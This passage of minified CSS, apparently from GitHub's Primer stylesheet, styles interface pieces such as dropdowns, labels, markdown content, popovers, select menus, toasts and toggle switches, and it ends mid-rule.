.octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid 